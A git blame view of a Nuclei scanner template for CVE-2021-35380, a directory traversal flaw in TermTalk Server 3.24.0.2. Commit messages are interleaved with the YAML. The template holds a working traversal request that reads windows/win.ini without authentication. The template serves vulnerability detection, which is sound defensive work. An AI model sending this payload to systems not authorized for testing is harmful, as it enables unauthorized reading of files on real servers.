daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-35380.yaml

43 lines
1.5 KiB
YAML
Raw Normal View History

Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
id: CVE-2021-35380
info:
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements
2023-01-16 17:41:15 +00:00
name: TermTalk Server 3.24.0.2 - Local File Inclusion
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
author: fxploit
severity: high
Update CVE-2021-35380.yaml
2022-09-05 04:47:57 +00:00
description: |
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements
2023-01-16 17:41:15 +00:00
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
reference:
- https://www.swascan.com/solari-di-udine/
- https://www.exploit-db.com/exploits/50638
- https://nvd.nist.gov/vuln/detail/CVE-2021-35380
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- https://www.swascan.com/it/security-blog/
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
classification:
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot:
2022-09-05 11:04:01 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
cve-id: CVE-2021-35380
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot:
2022-09-05 11:04:01 +00:00
cwe-id: CWE-22
templateman update
2023-10-14 11:27:55 +00:00
epss-score: 0.19555
TemplateMan Update [Fri Nov 3 15:51:18 UTC 2023] :robot:
2023-11-03 15:51:18 +00:00
epss-percentile: 0.95736
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: solari
product: termtalk_server
tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
- method: GET
path:
- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"
matchers:
- type: word
Update CVE-2021-35380.yaml
2022-09-05 04:47:57 +00:00
part: body
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
Auto Template Signing [Fri Nov 3 17:10:29 UTC 2023] :robot:
2023-11-03 17:10:29 +00:00
# digest: 4a0a00473045022100ac1bdfa9f7e58d21d6184c1c23ace8aa17939aa969094a1ac9f7e561f27d2da3022070a8ed64b9cd6c489221f1fb5ee9bbd22d98e47fb35f9125ddef7a0bea36ccfb:922c64590222798bb761d5b6d8e72950